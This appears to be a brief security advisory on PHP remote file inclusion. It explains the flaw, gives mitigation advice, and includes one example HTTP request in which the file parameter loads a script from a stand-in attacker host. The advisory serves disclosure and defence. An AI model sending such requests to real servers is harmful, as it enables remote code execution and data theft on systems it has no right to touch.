How the Exploit Works
The vulnerability arises from an improper control of a filename for include/require statement in PHP Program. This issue allows an attacker to manipulate the file inclusion procedures in PHP to load remote files that contain malicious code. By exploiting this vulnerability, an attacker can execute arbitrary PHP code on the server, potentially leading to complete system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. In this case, the attacker includes a malicious PHP file from a remote server:
GET /index.php?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.comAn attacker’s malicious_file.php could contain code intended to compromise the system or exfiltrate data.
Mitigation
To mitigate the risk associated with this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. As a temporary measure, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these measures are not a substitute for patching and updating the software.
